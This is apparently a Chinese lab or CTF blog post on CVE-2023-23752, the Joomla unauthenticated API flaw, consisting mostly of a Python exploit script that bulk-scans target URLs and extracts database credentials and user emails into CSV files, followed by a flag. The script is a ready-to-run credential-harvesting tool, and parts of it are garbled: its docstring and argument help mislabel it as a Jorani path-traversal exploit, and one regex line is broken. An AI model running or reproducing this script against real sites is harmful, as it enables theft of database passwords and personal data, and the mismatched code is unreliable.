CVE-2023-23752 Joomla 敏感信息泄露

简介

Joomla是一个开源免费的内容管理系统(CMS),基于PHP开发。在其4.0.0版本到4.2.7版本中,存在一处属性覆盖漏洞,导致攻击者可以通过恶意请求绕过权限检查,访问任意Rest API。

CVE-2023-23752 Joomla 敏感信息泄露_第1张图片

攻击脚本

"""
CVE-2023-23752 利用:Jorani 1.0.0 中的路径遍历与日志注入漏洞
该漏洞允许攻击者通过路径遍历访问日志文件并注入恶意代码,从而执行远程命令。
"""

import requests
import argparse
import csv
import json
import datetime
import sys
import re
import base64
import random
import string

# 禁用 SSL 不安全请求的警告
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

# 定义日志输出的函数,带有颜色显示
def inGreen(s):
    return "\033[0;32m{}\033[0m".format(s)

def inYellow(s):
    return "\033[0;33m{}\033[0m".format(s)

# 定义日志、错误和消息输出函数
def msg(x, y="\n"):
    print(f'\x1b[92m[+]\x1b[0m {x}', end=y)

def err(x, y="\n"):
    print(f'\x1b[91m[x]\x1b[0m {x}', end=y)

def log(x, y="\n"):
    print(f'\x1b[93m[?]\x1b[0m {x}', end=y)

# 正则表达式,用于提取 CSRF 令牌和命令执行结果
CSRF_PATTERN = re.compile('"
PATH_TRAV_PAYLOAD = "../../application/logs"

# 全局变量,用于存储输出文件路径、代理设置和是否禁用颜色输出
output = ""
proxy = {}
notColor = False
timeout = 10  # 添加这行,设置请求超时时间为10秒

def readFile(filepath):
    """读取文件内容,返回每行数据的列表"""
    try:
        with open(filepath, encoding='utf8') as file:
            return file.readlines()
    except Exception as e:
        err(f"读取文件失败: {e}")
        sys.exit(1)

def writeFile(filepath, data):
    """将数据写入 CSV 文件"""
    try:
        with open(filepath, 'a', encoding='utf8', newline='') as file:
            filecsv = csv.writer(file)
            filecsv.writerow(data)
    except Exception as e:
        err(f"写入文件失败: {e}")

def reqDatabase(url):
    """请求数据库配置信息,并提取用户名和密码"""
    # 构造请求 URL
    if url.endswith("/"):
        api_url = f"{url}api/index.php/v1/config/application?public=true"
    else:
        api_url = f"{url}/api/index.php/v1/config/application?public=true"

    # 定义请求头
    headers = {
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Connection': 'close'
    }

    try:
        # 发送 GET 请求
        response = requests.get(api_url, headers=headers, verify=False, proxies=proxy, timeout=timeout)
        
        # 检查响应内容是否包含用户和密码信息
        if "links" in response.text and "\"password\":" in response.text:
            try:
                rejson = response.json()
                user = ""
                password = ""
                for dataone in rejson['data']:
                    attributes = dataone.get('attributes', {})
                    user = attributes.get('user', "")
                    password = attributes.get('password', "")
                if user or password:
                    printBody = f"[+] [Database]   {url} --> {user} / {password}"
                    if notColor:
                        print(printBody)
                    else:
                        print(inYellow(printBody))
                    if output.strip():
                        writeFile(f"{output}_databaseUserAndPassword.csv", [url, user, password, response.text])
                return url, response.text
            except json.JSONDecodeError:
                err("解析 JSON 失败")
    except requests.RequestException as e:
        err(f"请求数据库信息失败: {e}")

def reqUserAndEmail(url):
    """请求用户和邮箱信息,并提取用户名和邮箱"""
    # 构造请求 URL
    if url.endswith("/"):
        api_url = f"{url}api/index.php/v1/users?public=true"
    else:
        api_url = f"{url}/api/index.php/v1/users?public=true"

    # 定义请求头
    headers = {
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Connection': 'close'
    }

    try:
        # 发送 GET 请求
        response = requests.get(api_url, headers=headers, verify=False, proxies=proxy, timeout=timeout)
        
        # 检查响应内容是否包含用户名和邮箱信息
        if "username" in response.text and "email" in response.text:
            try:
                rejson = response.json()
                for dataone in rejson['data']:
                    attributes = dataone.get('attributes', {})
                    username = attributes.get('username', "")
                    email = attributes.get('email', "")
                    if username or email:
                        printBody = f"[+] [User&email] {url} --> {username} / {email}"
                        if notColor:
                            print(printBody)
                        else:
                            print(inGreen(printBody))
                        if output.strip():
                            writeFile(f"{output}_usernameAndEmail.csv", [url, username, email, response.text])
                return url, response.text
            except json.JSONDecodeError:
                err("解析 JSON 失败")
    except requests.RequestException as e:
        err(f"请求用户和邮箱信息失败: {e}")

def reqs(listfileName):
    """读取 URL 列表并依次执行数据库和用户信息请求"""
    urls = readFile(listfileName)
    for url in urls:
        url = url.strip()
        if not url:
            continue
        reqDatabase(url)
        reqUserAndEmail(url)

def main():
    """主函数,解析命令行参数并执行相应操作"""
    parser = argparse.ArgumentParser(description="Jorani 1.0.0 CVE-2023-23752 漏洞利用脚本")
    parser.add_argument('-u', '--url', type=str, default="", help="单个测试目标的 URL")
    parser.add_argument('-l', '--listfile', type=str, default="", help="包含测试目标 URL 的文件")
    parser.add_argument('-o', '--output', type=str, default="", help="输出文件的位置(不带扩展名)")
    parser.add_argument('-p', '--proxy', type=str, default="", help="代理地址,例如:http://localhost:1080")
    parser.add_argument('-nc', '--notColor', action='store_true', help="禁用带颜色的输出")

    opt = parser.parse_args()
    args = vars(opt)
    url = args['url']
    urlFileName = args['listfile']
    global output, proxy, notColor
    output = args['output']
    if args['proxy']:
        proxy['http'] = args['proxy']
        proxy['https'] = args['proxy']
    notColor = args['notColor']

    if url:
        reqDatabase(url)
        reqUserAndEmail(url)
    if urlFileName:
        reqs(urlFileName)

if __name__ == '__main__':
    main()

flag{e6923ba8-2e7d-4127-8300-93ea207e1868}

你可能感兴趣的:(日常靶场,网络安全)